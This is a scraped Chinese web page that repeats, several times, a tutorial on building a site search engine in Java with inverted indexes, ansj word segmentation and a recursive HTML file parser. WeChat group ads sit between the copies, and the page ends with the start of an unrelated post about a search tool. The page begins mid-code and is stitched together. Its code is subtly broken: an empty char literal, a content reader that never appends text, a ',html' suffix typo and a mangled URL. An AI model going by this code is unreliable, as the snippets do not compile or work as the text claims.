e.printStackTrace(); } if(ret==-1) { break; } char c=(char) ret; if(isCopy){ if(c==''){ isCopy=true; } } } return content.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } return ""; } private void parseHTML (File f){ //解析出标题 String title=parseTitle(f); //解析出对应的url String url=parseUrl(f); //解析出对应的正文 try { String content=parseContent(f); } catch (IOException e) { e.printStackTrace(); } } //第一个参数表示从哪里开始遍历 //第二个表示结果。 private void enumFile(String inputPath,ArrayListfileList){ File rootPath=new File(inputPath); //listFiles 能够获取到一层目录下的文件 File[] files= rootPath.listFiles(); for(File f:files){ //根据当前f的类型判断是否递归。 //如果f是一个普通文件,就把f加入到fileList里面 //如果不是就调用递归 if(f.isDirectory()){ enumFile(f.getAbsolutePath(),fileList); }else { if(f.getAbsolutePath().endsWith(".html")) fileList.add(f); } } } public static void main(String[] args) { //通过main方法来实现整个制作索引的过程 Parser parser=new Parser(); parser.run(); }}
欢迎加入程序员交流群
鬼哥我创建了几个技术交流群,大家在群里都是九分聊技术、一分聊风雪~
如果你没有加群,不妨扫描下方二维码、添加我的微信。我拉大家进群,记得备注:工作城市+昵称+技术方向!
Ps:如果朋友圈对我设置权限的话,那就不用加我好友了。
<p data-mid="" data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(19, 52, 86)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(19, 52, 86)" data-darkmode-bgimage-16266178294118="1" style="outline: 0px;text-align: center;">往期推荐
B站,竟然变成了相亲求偶平台!<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(67, 131, 199)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(44, 95, 149)" style="outline: 0px;" />
MySQL夺命15问,你能坚持到第几问?<br style="outline: 0px;" />
Nginx 轻松搞定跨域问题!<br style="outline: 0px;" />
换掉 UUID,更快更安全!<br style="outline: 0px;" />
Java实现10万+并发去重,持续优化!<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(67, 131, 199)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(44, 95, 149)" style="outline: 0px;" /><br style="outline: 0px;" />花费数月整理出来的技术资源免费分享给大家扫描下方二维码,回复关键字【技术福利】获取!喜欢的这里报道<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(163, 163, 163)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)" style="outline: 0px;" />↘↘↘</p> 查看全部
用Java写了一个搜索引擎系统
前言
咱们如果用我们的小服务器去搞百度,搜狗那种引擎肯定是不行的,内属于全站搜索,我们这里做一个站内搜索。这个还是可以的,就类似于我们对网站里的资源进行搜索。
一.搜索引擎怎么搜索
搜索引擎就像一个小蜜蜂每天不停的采摘蜂蜜,就是去爬虫各个网页,然后通过爬取之后建立索引,以供于我们去搜索。
这里我们可以使用Python,或者下载文档压缩包。这里我们下包把,快多了。本来想搞一个英雄联盟的,实在找不见,要是后续有老铁找到可以分享一下。
建议大家别爬虫(要不然被告了,不过我们学校的官网倒是可以随便爬,我们当时就是拿这个练手的) 为什么要用索引呢?
因为爬的数据太多了,不索引,难道我去遍历吗?时间复杂度太大了。
这里我们需要建立索引,索引分别为正排索引,和倒排索引。
拿LOL举个例子吧,正排就相当于,我们提到无极剑圣的技能就可以联想到:
所以这是根据名字选技能
倒排索引就是LOL里面谁有剑:
所以这是根据特点选择英雄
二.模块划分
1.索引模块
1)扫描下载到的文档,分析内容,构建出,正排索引和倒排索引。并且把索引内容保存到文件中。
2)加载制作i好的索引。并提供一些API实现查正排和查倒排这样的功能。
2.搜索模块
1)调用索引模块,实现一个搜索的完整过程。
输入:用户的查询词 输出:完整的搜索结果
3.web模块
需要实现一个简单的web程序,能够通过网页的形式和用户进行交互。包含了前端和后端。
三. 怎么实现分词
分词的原理:
1.基于词库
尝试把所有的词都进行穷举,把这些结果放到词典文件中。
2.基于统计
收集到很多的语料库,进行人工标注,知道了那些字在一起的概率比较大~
java中能够实现分词的第三方工具也是有很多的
比如ansj(听说唱的兄弟可能听过ansj,哈哈)这个就是一个maven中央仓库的分词第三方库。
我们直接下载最新版本然后放入pom.xml里面
test包里直接操作:我们使用这个测试代码直接搞。试一下这个包咋用。
import org.ansj.domain.Term;import org.ansj.splitWord.analysis.ToAnalysis;import java.util.List;public class TastAnsj { public static void main(String[] args) { String str = "易大师是一个有超高机动性的刺客、战士型英雄,擅长利用快速的打击迅速击溃对手,易大师一般打野和走单人路,作为无极剑道的最后传人,易可以迅速砍出大量伤害,同时还能利用技能躲避猛烈的攻击,避开敌人的集火。"; List terms = ToAnalysis.parse(str).getTerms(); for (Term term : terms) { System.out.println(term.getName()); } }}
四.文件读取
把刚刚下载好的文档的路径复制到String中并且用常量标记。
这一步是为了用遍历的方法把所有html文件搞出来,我们这里用了一个递归,如果是绝对路径,就填加到文件链表,如果不是就递归,继续添加里面的值。
import java.io.File;import java.util.ArrayList;//读取刚刚文档public class Parser { private static final String INPUT_PATH="D:/test/docs/api"; public void run(){ //整个Parser类的入口 //1.根据路径,去枚举出所有的文件.(html); ArrayList fileList=new ArrayList(); enumFile(INPUT_PATH,fileList); System.out.println(fileList); System.out.println(fileList.size()); //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析 //3.把在内存中构造好的索引数据结构,保定到指定的文件中。 } //第一个参数表示从哪里开始遍历 //第二个表示结果。 private void enumFile(String inputPath,ArrayListfileList){ File rootPath=new File(inputPath); //listFiles 能够获取到一层目录下的文件 File[] files= rootPath.listFiles(); for(File f:files){ //根据当前f的类型判断是否递归。 //如果f是一个普通文件,就把f加入到fileList里面 //如果不是就调用递归 if(f.isDirectory()){ enumFile(f.getAbsolutePath(),fileList); }else { fileList.add(f); } } } public static void main(String[] args) { //通过main方法来实现整个制作索引的过程 Parser parser=new Parser(); parser.run(); }}
我们尝试运行一下,这里的文件也太多了吧,而且无论是什么都打印出来了。所以我们下一步就是把这些文件进行筛选,选择有用的。
else { if(f.getAbsolutePath().endsWith(",html")) fileList.add(f);}
这个代码就是只是针对末尾为html的文件。下图就是展示结果。
4.1 打开文件,解析内容。
这里分为三个分别是解析Title,解析Url,解析内容Content
4.1.1解析Title
f.getName()是直接读取文件名字的方法。
我们用的name.substring(0,f.getName().length()-5);为什么要用总的文件名字长度减去5呢,因为.HTML刚好就是五。
private String parseTitle(File f) { String name= f.getName(); return name.substring(0,f.getName().length()-5); }
4.1.2解析Url操作
这里的url就是我们平时去一个浏览器输入一个东西下面会有一个url,这个url就是我们的绝对路径经过截取获得出我们的相对的目录,然后与我们的http进行拼接,这样就可以直接得到一个页面。
private String parseUrl(File f) { String part1="https://docs.oracle.com/javase/8/docs/api/"; String part2=f.getAbsolutePath().substring(INPUT_PATH.length()); return part1+part2; }
4.1.3解析内容
以为开关进行对数据的读取,以int类型读取,为什么要用int而不是char呢因为int类型读完之后就变成-1可以判断一下是否读取完毕。具体代码如下很容易理解。
private String parseContent(File f) throws IOException { //先按照一个一个字符来读取,以作为开关 try(FileReader fileReader=new FileReader(f)) { //加上一个是否拷贝的开关. boolean isCopy=true; //还需要准备一个结果保存 StringBuilder content=new StringBuilder(); while (true){ //此处的read的返回值是int,不是char //如果读到文件末尾,就会返回-1,这是用int的好处; int ret = 0; try { ret = fileReader.read(); } catch (IOException e) { e.printStackTrace(); } if(ret==-1) { break; } char c=(char) ret; if(isCopy){ if(c==''){ isCopy=true; } } } return content.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } return ""; }
这一模块总的代码块如下:
import java.io.File;import java.io.FileNotFoundException;import java.io.FileReader;import java.io.IOException;import java.util.ArrayList;//读取刚刚文档public class Parser { private static final String INPUT_PATH="D:/test/docs/api"; public void run(){ //整个Parser类的入口 //1.根据路径,去枚举出所有的文件.(html); ArrayList fileList=new ArrayList(); enumFile(INPUT_PATH,fileList); System.out.println(fileList); System.out.println(fileList.size()); //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析 for (File f:fileList){ System.out.println("开始解析"+f.getAbsolutePath()); parseHTML(f); } //3.把在内存中构造好的索引数据结构,保定到指定的文件中。 }<br /> private String parseTitle(File f) { String name= f.getName(); return name.substring(0,f.getName().length()-5); } private String parseUrl(File f) { String part1="https://docs.oracle.com/javase/8/docs/api/"; String part2=f.getAbsolutePath().substring(INPUT_PATH.length()); return part1+part2; } private String parseContent(File f) throws IOException { //先按照一个一个字符来读取,以作为开关 try(FileReader fileReader=new FileReader(f)) { //加上一个是否拷贝的开关. boolean isCopy=true; //还需要准备一个结果保存 StringBuilder content=new StringBuilder(); while (true){ //此处的read的返回值是int,不是char //如果读到文件末尾,就会返回-1,这是用int的好处; int ret = 0; try { ret = fileReader.read(); } catch (IOException e) { e.printStackTrace(); } if(ret==-1) { break; } char c=(char) ret; if(isCopy){ if(c==''){ isCopy=true; } } } return content.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } return ""; } private void parseHTML (File f){ //解析出标题 String title=parseTitle(f); //解析出对应的url String url=parseUrl(f); //解析出对应的正文 try { String content=parseContent(f); } catch (IOException e) { e.printStackTrace(); } } //第一个参数表示从哪里开始遍历 //第二个表示结果。 private void enumFile(String inputPath,ArrayListfileList){ File rootPath=new File(inputPath); //listFiles 能够获取到一层目录下的文件 File[] files= rootPath.listFiles(); for(File f:files){ //根据当前f的类型判断是否递归。 //如果f是一个普通文件,就把f加入到fileList里面 //如果不是就调用递归 if(f.isDirectory()){ enumFile(f.getAbsolutePath(),fileList); }else { if(f.getAbsolutePath().endsWith(".html")) fileList.add(f); } } } public static void main(String[] args) { //通过main方法来实现整个制作索引的过程 Parser parser=new Parser(); parser.run(); }}
欢迎加入程序员交流群
鬼哥我创建了几个技术交流群,大家在群里都是九分聊技术、一分聊风雪~
如果你没有加群,不妨扫描下方二维码、添加我的微信。我拉大家进群,记得备注:工作城市+昵称+技术方向!
Ps:如果朋友圈对我设置权限的话,那就不用加我好友了。
<p data-mid="" data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(19, 52, 86)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(19, 52, 86)" data-darkmode-bgimage-16266178294118="1" style="outline: 0px;text-align: center;">往期推荐
B站,竟然变成了相亲求偶平台!<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(67, 131, 199)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(44, 95, 149)" style="outline: 0px;" />
MySQL夺命15问,你能坚持到第几问?<br style="outline: 0px;" />
Nginx 轻松搞定跨域问题!<br style="outline: 0px;" />
换掉 UUID,更快更安全!<br style="outline: 0px;" />
Java实现10万+并发去重,持续优化!<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(67, 131, 199)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(44, 95, 149)" style="outline: 0px;" /><br style="outline: 0px;" />花费数月整理出来的技术资源免费分享给大家扫描下方二维码,回复关键字【技术福利】获取!
写一个搜索引擎系统(Java版)
网站优化 • 优采云 发表了文章 • 0 个评论 • 93 次浏览 • 2022-05-07 18:15
咋们如果用我们的小服务器去搞百度,搜狗那种引擎肯定是不行的,内属于全站搜索,我们这里做一个站内搜索。这个还是可以的,就类似于我们对网站里的资源进行搜索。
一.搜索引擎怎么搜索
搜索引擎就像一个小蜜蜂每天不停的采摘蜂蜜,就是去爬虫各个网页,然后通过爬取之后建立索引,以供于我们去搜索。
这里我们可以使用Python,或者下载文档压缩包。这里我们下包把,快多了。本来想搞一个英雄联盟的,实在找不见,要是后续有老铁找到可以分享一下。
建议大家别爬虫(要不然被告了,不过我们学校的官网倒是可以随便爬,我们当时就是拿这个练手的)
为什么要用索引呢?
因为爬的数据太多了,不索引,难道我去遍历吗?时间复杂度太大了。
这里我们需要建立索引,索引分别为正排索引,和倒排索引。
拿LOL举个例子吧,正排就相当于,我们提到无极剑圣的技能就可以联想到
故根据名字选技能
倒排索引就是LOL里面谁有剑
蛮王无极剑圣剑姬
故根据特点选择英雄
二.模块划分1.索引模块
1)扫描下载到的文档,分析内容,构建出,正排索引和倒排索引。并且把索引内容保存到文件中。
2)加载制作i好的索引。并提供一些API实现查正排和查倒排这样的功能。
2.搜索模块
1)调用索引模块,实现一个搜索的完整过程。
3.web模块
需要实现一个简单的web程序,能够通过网页的形式和用户进行交互。
包含了前端和后端。
三. 怎么实现分词
分词的原理
1.基于词库
尝试把所有的词都进行穷举,把这些结果放到词典文件中。
2.基于统计
收集到很多的语料库,进行人工标注,知道了那些字在一起的概率比较大~
java中能够实现分词的第三方工具也是有很多的
比如ansj(听说唱的兄弟可能听过ansj,哈哈)这个就是一个maven中央仓库的分词第三方库。
我们直接下载最新版本然后放入pom.xml里面
test包里直接操作:我们使用这个测试代码直接搞。试一下这个包咋用。
import org.ansj.domain.Term;<br />import org.ansj.splitWord.analysis.ToAnalysis;<br />import java.util.List;<br />public class TastAnsj {<br /> public static void main(String[] args) {<br /> String str = "易大师是一个有超高机动性的刺客、战士型英雄,擅长利用快速的打击迅速击溃对手,易大师一般打野和走单人路,作为无极剑道的最后传人,易可以迅速砍出大量伤害,同时还能利用技能躲避猛烈的攻击,避开敌人的集火。";<br /> List terms = ToAnalysis.parse(str).getTerms();<br /> for (Term term : terms) {<br /> System.out.println(term.getName());<br /> }<br /> }<br />}<br />
四.文件读取
把刚刚下载好的文档的路径复制到String中并且用常量标记。
这一步是为了用遍历的方法把所有html文件搞出来,我们这里用了一个递归,如果是绝对路径,就填加到文件链表,如果不是就递归,继续添加里面的值。
import java.io.File;<br />import java.util.ArrayList;<br /><br /><br />//读取刚刚文档<br />public class Parser {<br /> private static final String INPUT_PATH="D:/test/docs/api";<br /> public void run(){<br /> //整个Parser类的入口<br /> //1.根据路径,去枚举出所有的文件.(html);<br /> ArrayList fileList=new ArrayList();<br /> enumFile(INPUT_PATH,fileList);<br /> System.out.println(fileList);<br /> System.out.println(fileList.size());<br /> //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析<br /> //3.把在内存中构造好的索引数据结构,保定到指定的文件中。<br /> }<br /> //第一个参数表示从哪里开始遍历 //第二个表示结果。<br /> private void enumFile(String inputPath,ArrayListfileList){<br /> File rootPath=new File(inputPath);<br /> //listFiles 能够获取到一层目录下的文件<br /> File[] files= rootPath.listFiles();<br /> for(File f:files){<br /> //根据当前f的类型判断是否递归。<br /> //如果f是一个普通文件,就把f加入到fileList里面<br /> //如果不是就调用递归<br /> if(f.isDirectory()){<br /> enumFile(f.getAbsolutePath(),fileList);<br /> }else {<br /> fileList.add(f);<br /> }<br /> }<br /> }<br /> public static void main(String[] args) {<br /> //通过main方法来实现整个制作索引的过程<br /> Parser parser=new Parser();<br /> parser.run();<br /> }<br />}<br />
我们尝试运行一下,这里的文件也太多了吧,而且无论是什么都打印出来了。所以我们下一步就是把这些文件进行筛选,选择有用的。
else {<br /> if(f.getAbsolutePath().endsWith(",html"))<br /> fileList.add(f);<br />}<br />
这个代码就是只是针对末尾为html的文件,下图就是展示结果。
4.1 打开文件,解析内容。
这里分为三个分别是解析Title,解析Url,解析内容Content
4.1.1解析Title
f.getName()是直接读取文件名字的方法。
我们用的name.substring(0,f.getName().length()-5);为什么要用总的文件名字长度减去5呢,因为.HTML刚好就是五。
private String parseTitle(File f) {<br /> String name= f.getName();<br /> return name.substring(0,f.getName().length()-5);<br /><br /> }<br />
4.1.2解析Url操作
这里的url就是我们平时去一个浏览器输入一个东西下面会有一个url,这个url就是我们的绝对路径经过截取获得出我们的相对的目录,然后与我们的http进行拼接,这样就可以直接得到一个页面。
private String parseUrl(File f) {<br /> String part1="https://docs.oracle.com/javase ... %3Bbr /> String part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br /> return part1+part2;<br /> }<br />
4.1.3解析内容
以为开关进行对数据的读取,以int类型读取,为什么要用int而不是char呢因为int类型读完之后就变成-1可以判断一下是否读取完毕。
具体代码如下很容易理解。
private String parseContent(File f) throws IOException {<br /> //先按照一个一个字符来读取,以作为开关<br /> try(FileReader fileReader=new FileReader(f)) {<br /> //加上一个是否拷贝的开关.<br /> boolean isCopy=true;<br /> //还需要准备一个结果保存<br /> StringBuilder content=new StringBuilder();<br /> while (true){<br /> //此处的read的返回值是int,不是char<br /> //如果读到文件末尾,就会返回-1,这是用int的好处;<br /> int ret = 0;<br /> try {<br /> ret = fileReader.read();<br /> } catch (IOException e) {<br /> e.printStackTrace();<br /> }<br /> if(ret==-1) {<br /> break;<br /> }<br /> char c=(char) ret;<br /> if(isCopy){<br /> if(c==''){<br /> isCopy=true;<br /> }<br /> }<br /> }<br /><br /> return content.toString();<br /> } catch (FileNotFoundException e) {<br /> e.printStackTrace();<br /> }<br /> return "";<br /> }<br />
这一模块总的代码块如下:
import java.io.File;<br />import java.io.FileNotFoundException;<br />import java.io.FileReader;<br />import java.io.IOException;<br />import java.util.ArrayList;<br /><br />//读取刚刚文档<br />public class Parser {<br /> private static final String INPUT_PATH="D:/test/docs/api";<br /> public void run(){<br /> //整个Parser类的入口<br /> //1.根据路径,去枚举出所有的文件.(html);<br /> ArrayList fileList=new ArrayList();<br /> enumFile(INPUT_PATH,fileList);<br /> System.out.println(fileList);<br /> System.out.println(fileList.size());<br /> //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析<br /> for (File f:fileList){<br /> System.out.println("开始解析"+f.getAbsolutePath());<br /> parseHTML(f);<br /> }<br /> //3.把在内存中构造好的索引数据结构,保定到指定的文件中。<br /> }<br /><br /><br /> private String parseTitle(File f) {<br /> String name= f.getName();<br /> return name.substring(0,f.getName().length()-5);<br /><br /> }<br /> private String parseUrl(File f) {<br /> String part1="https://docs.oracle.com/javase ... %3Bbr /> String part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br /> return part1+part2;<br /> }<br /> private String parseContent(File f) throws IOException {<br /> //先按照一个一个字符来读取,以作为开关<br /> try(FileReader fileReader=new FileReader(f)) {<br /> //加上一个是否拷贝的开关.<br /> boolean isCopy=true;<br /> //还需要准备一个结果保存<br /> StringBuilder content=new StringBuilder();<br /> while (true){<br /> //此处的read的返回值是int,不是char<br /> //如果读到文件末尾,就会返回-1,这是用int的好处;<br /> int ret = 0;<br /> try {<br /> ret = fileReader.read();<br /> } catch (IOException e) {<br /> e.printStackTrace();<br /> }<br /> if(ret==-1) {<br /> break;<br /> }<br /> char c=(char) ret;<br /> if(isCopy){<br /> if(c==''){<br /> isCopy=true;<br /> }<br /> }<br /> }<br /><br /> return content.toString();<br /> } catch (FileNotFoundException e) {<br /> e.printStackTrace();<br /> }<br /> return "";<br /> }<br /> private void parseHTML (File f){<br /> //解析出标题<br /> String title=parseTitle(f);<br /> //解析出对应的url<br /> String url=parseUrl(f);<br /> //解析出对应的正文<br /> try {<br /> String content=parseContent(f);<br /> } catch (IOException e) {<br /> e.printStackTrace();<br /> }<br /> }<br /> //第一个参数表示从哪里开始遍历 //第二个表示结果。<br /> private void enumFile(String inputPath,ArrayListfileList){<br /> File rootPath=new File(inputPath);<br /> //listFiles 能够获取到一层目录下的文件<br /> File[] files= rootPath.listFiles();<br /> for(File f:files){<br /> //根据当前f的类型判断是否递归。<br /> //如果f是一个普通文件,就把f加入到fileList里面<br /> //如果不是就调用递归<br /> if(f.isDirectory()){<br /> enumFile(f.getAbsolutePath(),fileList);<br /> }else {<br /> if(f.getAbsolutePath().endsWith(".html"))<br /> fileList.add(f);<br /> }<br /> }<br /> }<br /> public static void main(String[] args) {<br /> //通过main方法来实现整个制作索引的过程<br /> Parser parser=new Parser();<br /> parser.run();<br /> }<br />}
来源:/m0_57315623/article/details/123829698
推荐:
PS:因为公众号平台更改了推送规则,如果不想错过内容,记得读完点一下“在看”,加个“星标”,这样每次新文章推送才会第一时间出现在你的订阅列表里。点“在看”支持我们吧! 查看全部
写一个搜索引擎系统(Java版)
咋们如果用我们的小服务器去搞百度,搜狗那种引擎肯定是不行的,内属于全站搜索,我们这里做一个站内搜索。这个还是可以的,就类似于我们对网站里的资源进行搜索。
一.搜索引擎怎么搜索
搜索引擎就像一个小蜜蜂每天不停的采摘蜂蜜,就是去爬虫各个网页,然后通过爬取之后建立索引,以供于我们去搜索。
这里我们可以使用Python,或者下载文档压缩包。这里我们下包把,快多了。本来想搞一个英雄联盟的,实在找不见,要是后续有老铁找到可以分享一下。
建议大家别爬虫(要不然被告了,不过我们学校的官网倒是可以随便爬,我们当时就是拿这个练手的)
为什么要用索引呢?
因为爬的数据太多了,不索引,难道我去遍历吗?时间复杂度太大了。
这里我们需要建立索引,索引分别为正排索引,和倒排索引。
拿LOL举个例子吧,正排就相当于,我们提到无极剑圣的技能就可以联想到
故根据名字选技能
倒排索引就是LOL里面谁有剑
蛮王无极剑圣剑姬
故根据特点选择英雄
二.模块划分1.索引模块
1)扫描下载到的文档,分析内容,构建出,正排索引和倒排索引。并且把索引内容保存到文件中。
2)加载制作i好的索引。并提供一些API实现查正排和查倒排这样的功能。
2.搜索模块
1)调用索引模块,实现一个搜索的完整过程。
3.web模块
需要实现一个简单的web程序,能够通过网页的形式和用户进行交互。
包含了前端和后端。
三. 怎么实现分词
分词的原理
1.基于词库
尝试把所有的词都进行穷举,把这些结果放到词典文件中。
2.基于统计
收集到很多的语料库,进行人工标注,知道了那些字在一起的概率比较大~
java中能够实现分词的第三方工具也是有很多的
比如ansj(听说唱的兄弟可能听过ansj,哈哈)这个就是一个maven中央仓库的分词第三方库。
我们直接下载最新版本然后放入pom.xml里面
test包里直接操作:我们使用这个测试代码直接搞。试一下这个包咋用。
import org.ansj.domain.Term;<br />import org.ansj.splitWord.analysis.ToAnalysis;<br />import java.util.List;<br />public class TastAnsj {<br /> public static void main(String[] args) {<br /> String str = "易大师是一个有超高机动性的刺客、战士型英雄,擅长利用快速的打击迅速击溃对手,易大师一般打野和走单人路,作为无极剑道的最后传人,易可以迅速砍出大量伤害,同时还能利用技能躲避猛烈的攻击,避开敌人的集火。";<br /> List terms = ToAnalysis.parse(str).getTerms();<br /> for (Term term : terms) {<br /> System.out.println(term.getName());<br /> }<br /> }<br />}<br />
四.文件读取
把刚刚下载好的文档的路径复制到String中并且用常量标记。
这一步是为了用遍历的方法把所有html文件搞出来,我们这里用了一个递归,如果是绝对路径,就填加到文件链表,如果不是就递归,继续添加里面的值。
import java.io.File;<br />import java.util.ArrayList;<br /><br /><br />//读取刚刚文档<br />public class Parser {<br /> private static final String INPUT_PATH="D:/test/docs/api";<br /> public void run(){<br /> //整个Parser类的入口<br /> //1.根据路径,去枚举出所有的文件.(html);<br /> ArrayList fileList=new ArrayList();<br /> enumFile(INPUT_PATH,fileList);<br /> System.out.println(fileList);<br /> System.out.println(fileList.size());<br /> //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析<br /> //3.把在内存中构造好的索引数据结构,保定到指定的文件中。<br /> }<br /> //第一个参数表示从哪里开始遍历 //第二个表示结果。<br /> private void enumFile(String inputPath,ArrayListfileList){<br /> File rootPath=new File(inputPath);<br /> //listFiles 能够获取到一层目录下的文件<br /> File[] files= rootPath.listFiles();<br /> for(File f:files){<br /> //根据当前f的类型判断是否递归。<br /> //如果f是一个普通文件,就把f加入到fileList里面<br /> //如果不是就调用递归<br /> if(f.isDirectory()){<br /> enumFile(f.getAbsolutePath(),fileList);<br /> }else {<br /> fileList.add(f);<br /> }<br /> }<br /> }<br /> public static void main(String[] args) {<br /> //通过main方法来实现整个制作索引的过程<br /> Parser parser=new Parser();<br /> parser.run();<br /> }<br />}<br />
我们尝试运行一下,这里的文件也太多了吧,而且无论是什么都打印出来了。所以我们下一步就是把这些文件进行筛选,选择有用的。
else {<br /> if(f.getAbsolutePath().endsWith(",html"))<br /> fileList.add(f);<br />}<br />
这个代码就是只是针对末尾为html的文件,下图就是展示结果。
4.1 打开文件,解析内容。
这里分为三个分别是解析Title,解析Url,解析内容Content
4.1.1解析Title
f.getName()是直接读取文件名字的方法。
我们用的name.substring(0,f.getName().length()-5);为什么要用总的文件名字长度减去5呢,因为.HTML刚好就是五。
private String parseTitle(File f) {<br /> String name= f.getName();<br /> return name.substring(0,f.getName().length()-5);<br /><br /> }<br />
4.1.2解析Url操作
这里的url就是我们平时去一个浏览器输入一个东西下面会有一个url,这个url就是我们的绝对路径经过截取获得出我们的相对的目录,然后与我们的http进行拼接,这样就可以直接得到一个页面。
private String parseUrl(File f) {<br /> String part1="https://docs.oracle.com/javase ... %3Bbr /> String part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br /> return part1+part2;<br /> }<br />
4.1.3解析内容
以为开关进行对数据的读取,以int类型读取,为什么要用int而不是char呢因为int类型读完之后就变成-1可以判断一下是否读取完毕。
具体代码如下很容易理解。
private String parseContent(File f) throws IOException {<br /> //先按照一个一个字符来读取,以作为开关<br /> try(FileReader fileReader=new FileReader(f)) {<br /> //加上一个是否拷贝的开关.<br /> boolean isCopy=true;<br /> //还需要准备一个结果保存<br /> StringBuilder content=new StringBuilder();<br /> while (true){<br /> //此处的read的返回值是int,不是char<br /> //如果读到文件末尾,就会返回-1,这是用int的好处;<br /> int ret = 0;<br /> try {<br /> ret = fileReader.read();<br /> } catch (IOException e) {<br /> e.printStackTrace();<br /> }<br /> if(ret==-1) {<br /> break;<br /> }<br /> char c=(char) ret;<br /> if(isCopy){<br /> if(c==''){<br /> isCopy=true;<br /> }<br /> }<br /> }<br /><br /> return content.toString();<br /> } catch (FileNotFoundException e) {<br /> e.printStackTrace();<br /> }<br /> return "";<br /> }<br />
这一模块总的代码块如下:
import java.io.File;<br />import java.io.FileNotFoundException;<br />import java.io.FileReader;<br />import java.io.IOException;<br />import java.util.ArrayList;<br /><br />//读取刚刚文档<br />public class Parser {<br /> private static final String INPUT_PATH="D:/test/docs/api";<br /> public void run(){<br /> //整个Parser类的入口<br /> //1.根据路径,去枚举出所有的文件.(html);<br /> ArrayList fileList=new ArrayList();<br /> enumFile(INPUT_PATH,fileList);<br /> System.out.println(fileList);<br /> System.out.println(fileList.size());<br /> //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析<br /> for (File f:fileList){<br /> System.out.println("开始解析"+f.getAbsolutePath());<br /> parseHTML(f);<br /> }<br /> //3.把在内存中构造好的索引数据结构,保定到指定的文件中。<br /> }<br /><br /><br /> private String parseTitle(File f) {<br /> String name= f.getName();<br /> return name.substring(0,f.getName().length()-5);<br /><br /> }<br /> private String parseUrl(File f) {<br /> String part1="https://docs.oracle.com/javase ... %3Bbr /> String part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br /> return part1+part2;<br /> }<br /> private String parseContent(File f) throws IOException {<br /> //先按照一个一个字符来读取,以作为开关<br /> try(FileReader fileReader=new FileReader(f)) {<br /> //加上一个是否拷贝的开关.<br /> boolean isCopy=true;<br /> //还需要准备一个结果保存<br /> StringBuilder content=new StringBuilder();<br /> while (true){<br /> //此处的read的返回值是int,不是char<br /> //如果读到文件末尾,就会返回-1,这是用int的好处;<br /> int ret = 0;<br /> try {<br /> ret = fileReader.read();<br /> } catch (IOException e) {<br /> e.printStackTrace();<br /> }<br /> if(ret==-1) {<br /> break;<br /> }<br /> char c=(char) ret;<br /> if(isCopy){<br /> if(c==''){<br /> isCopy=true;<br /> }<br /> }<br /> }<br /><br /> return content.toString();<br /> } catch (FileNotFoundException e) {<br /> e.printStackTrace();<br /> }<br /> return "";<br /> }<br /> private void parseHTML (File f){<br /> //解析出标题<br /> String title=parseTitle(f);<br /> //解析出对应的url<br /> String url=parseUrl(f);<br /> //解析出对应的正文<br /> try {<br /> String content=parseContent(f);<br /> } catch (IOException e) {<br /> e.printStackTrace();<br /> }<br /> }<br /> //第一个参数表示从哪里开始遍历 //第二个表示结果。<br /> private void enumFile(String inputPath,ArrayListfileList){<br /> File rootPath=new File(inputPath);<br /> //listFiles 能够获取到一层目录下的文件<br /> File[] files= rootPath.listFiles();<br /> for(File f:files){<br /> //根据当前f的类型判断是否递归。<br /> //如果f是一个普通文件,就把f加入到fileList里面<br /> //如果不是就调用递归<br /> if(f.isDirectory()){<br /> enumFile(f.getAbsolutePath(),fileList);<br /> }else {<br /> if(f.getAbsolutePath().endsWith(".html"))<br /> fileList.add(f);<br /> }<br /> }<br /> }<br /> public static void main(String[] args) {<br /> //通过main方法来实现整个制作索引的过程<br /> Parser parser=new Parser();<br /> parser.run();<br /> }<br />}
来源:/m0_57315623/article/details/123829698
推荐:
PS:因为公众号平台更改了推送规则,如果不想错过内容,记得读完点一下“在看”,加个“星标”,这样每次新文章推送才会第一时间出现在你的订阅列表里。点“在看”支持我们吧!
聚合搜索工具升级版源码
网站优化 • 优采云 发表了文章 • 0 个评论 • 60 次浏览 • 2022-05-04 01:11
学会搜索真的很重要,能用搜索引擎解决的就没必要问来问去,所以这个小工具是给还不怎么会搜索的同学用的.
演示
之前发的小工具的升级版,自用的时候用一个类似控制台的软件来激活,或者自己定义快捷键
同步ahk社区的文章发布
主要功能,
1.多个搜索引擎可选批量搜索
